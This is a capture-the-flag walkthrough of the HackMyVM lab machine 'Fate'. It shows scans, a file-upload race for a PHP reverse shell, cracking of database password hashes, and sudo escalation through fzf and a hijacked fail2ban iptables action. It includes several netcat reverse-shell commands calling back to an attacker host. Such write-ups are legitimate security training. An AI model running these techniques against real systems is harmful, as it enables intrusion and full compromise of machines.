HackMyVm Fate Walkthrough
https://hackmyvm.eu/machines/machine.php?vm=Fate
Fate is really an interesting machine made by sML. Let's begin!
Scan ports first.
nmap -sV -sC -p- -oN port.log 192.168.56.100
Nmap scan report for 192.168.56.100
Host is up (0.0022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 61:39:bc:89:db:98:a7:63:15:fe:13:54:01:22:8d:52 (RSA)
| 256 bb:a3:b7:24:76:9c:fd:27:8f:13:ef:f5:cf:4f:8b:ab (ECDSA)
|_ 256 0c:af:8b:a0:fa:3f:7b:38:52:b4:93:a0:65:da:c0:7c (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
13120/tcp open http Node.js Express framework
|_http-title: Gancio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Start from port 80. Scan files and dirs.
gobuster dir -u "http://192.168.56.100" -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt,.zip -b 401,403,404,500 --wildcard -o 80.log
/index.html (Status: 200) [Size: 285]
/uploads (Status: 301) [Size: 169] [--> http://192.168.56.100/uploads/]
/upload.php (Status: 200) [Size: 46]
Check port 80, it will upload any file we choose and rename it.
And the file is saved in /uploads/.
~/D/fate $curl "http://192.168.56.100/uploads/8662cb1f0bdeaa8572492ad1de71e293" 19:47:01
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP ...
We can not bypass the upload.php, but if we take care enough, we notice there is a short time delay after we click upload. So we guess, the shell php is first saved, then renamed.
We create a simple bash to continuously check /uploads/shell.php, and upload shell.php.
#!/bin/bash
while true
do
curl "http://192.168.56.100/uploads/shell.php"
sleep 0.2
done
Then we can get reverse shell.
~/D/fate $nc -nvlp 1234 19:51:49
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34110
Linux fate 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux
11:50:57 up 58 min, 1 user, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
john pts/2 192.168.56.151 11:32 10:41 0.15s 0.15s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now we found 3 users at home folder.
www-data@fate:/$ cd home
cd home
www-data@fate:/home$ ls -la
ls -la
total 20
drwxr-xr-x 5 root root 4096 Feb 16 10:33 .
drwxr-xr-x 18 root root 4096 Feb 16 10:23 ..
drwxr-xr-x 2 connor connor 4096 Mar 5 11:32 connor
drwxr-xr-x 4 john john 4096 Mar 5 11:32 john
drwxr-xr-x 2 sarah sarah 4096 Feb 16 10:33 sarah
In /opt, we found the server files of port 13120.
www-data@fate:/opt/gancio$ ls -la
ls -la
total 20
drwxr-xr-x 4 gancio gancio 4096 Feb 16 10:51 .
drwxr-xr-x 3 root root 4096 Feb 16 10:40 ..
-rw-r--r-- 1 gancio gancio 474 Feb 16 10:51 config.json
drwxr-xr-x 2 gancio gancio 4096 Mar 5 10:52 logs
drwxr-xr-x 3 gancio gancio 4096 Feb 16 10:51 uploads
In config.json, we get creds of database.
www-data@fate:/opt/gancio$ cat config.json
...
"database": "gancio",
"username": "xxxxx",
"password": "xxxxx",
...
Log in mysql, and get 2 password hash.
MariaDB [gancio]> use gancio
use gancio
Database changed
MariaDB [gancio]> show tables;
show tables;
+---------------------+
| Tables_in_gancio |
+---------------------+
...
| users |
+---------------------+
17 rows in set (0.000 sec)
MariaDB [gancio]> select * from users;
select * from users;
+----+--------------+----------+------------------+-------------+------------------------
| id | display_name | settings | email | description | password | recover_code | is_admin | is_active | rsa | createdAt | updatedAt |
+----+--------------+----------+------------------+-------------+------------------------
| 1 | NULL | [] | admin | NULL | $2a$10$FSC73AzC1b9byrVIyEB6M.eTxxxxxxxxxxxxxxxxxxxxx.e2 | NULL | 1 | 1 | NULL | 2022-02-16 09:51:21 | 2022-02-16 09:51:21 |
| 2 | NULL | [] | connor@localhost | NULL | $2a$10$U1/NLsG/tYgmr.Guimmv/eTxxxxxxxxxxxxxxxxxxxxx | | 0 | 1 | NULL | 2022-02-16 09:52:04 | 2022-02-16 09:52:11 |
+----+--------------+----------+------------------+-------------+------------------------
2 rows in set (0.001 sec)
Save the hash and crack them with john.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
There is only one hash crackable. That's actually the password of user connor. Then we can login ssh as connor.
ssh connor@192.168.56.100 20:02:02
connor@192.168.56.100's password:
...
connor@fate:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Check sudo -l.
connor@fate:~$ sudo -l
Matching Defaults entries for connor on fate:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User connor may run the following commands on fate:
(john) NOPASSWD: /usr/bin/fzf
After a long time learning how to use fzf, we get two ways to exploit fzf.
First is to use --preview="nc 192.168.56.151 1234 -e /bin/bash {}" option.
nc -nlvp 1234 20:06:58
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34118
id
uid=1001(john) gid=1001(john) groups=1001(john)
──────────────────────────────────────────────────────────────────────────────────────────
connor@fate:/home/john$ sudo -u john /usr/bin/fzf --preview="nc 192.168.56.151 1234 -e /bin/bash {}"
Another way is to use fzf --bind 'f2:execute(nc -nlvp x.x.x.x xxxx -e /bin/bash {})' . Then run fzf, and press F2.
Anyway, now we escalate to user john. We can upload id_rsa.pub, so we can login ssh as user john easily.
Check sudo -l again.
john@fate:~$ sudo -l
Matching Defaults entries for john on fate:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on fate:
(root) NOPASSWD: /usr/bin/systemctl restart fail2ban
Fail2ban , another new program we need to learn. So after we carefully read the help, we know that fail2ban is a firewall management program, and it calls iptables to take action.
We create a fake iptables with shell code in /tmp.
john@fate:~$ echo "nc 192.168.56.151 1234 -e /bin/bash" > /tmp/iptables
john@fate:~$ chmod +x /tmp/iptables
The config files of fail2ban is located at /etc/fail2ban. Some key options are as following:
john@fate:/etc/fail2ban$ cat jail.conf
...
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime = 10m
# "maxretry" is the number of failures before a host get banned.
maxretry = 5
You can change maxretry to 1, then fail2ban will start action after 1 time login failure.
john@fate:/etc/fail2ban/action.d$ cat iptables-common.conf
...
# Option: iptables
# Notes.: Actual command to be executed, including common to all calls options
# Values: STRING
iptables = iptables <lockingopt>
We change iptables to /tmp/iptables.
Now run sudo command to restart fail2ban.
After we try to login ssh as some none exist user, our shell code runs. We get root!
john@fate:/etc/fail2ban/action.d$ sudo /usr/bin/systemctl restart fail2ban
─────────────────────────────────────────────────────────────────────────────────────────
~/D/fate $nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34122
id;hostname
uid=0(root) gid=0(root) grupos=0(root)
fate
─────────────────────────────────────────────────────────────────────────────────────────
~/D/fate $ssh john2@192.168.56.100 20:21:11
john2@192.168.56.100's password: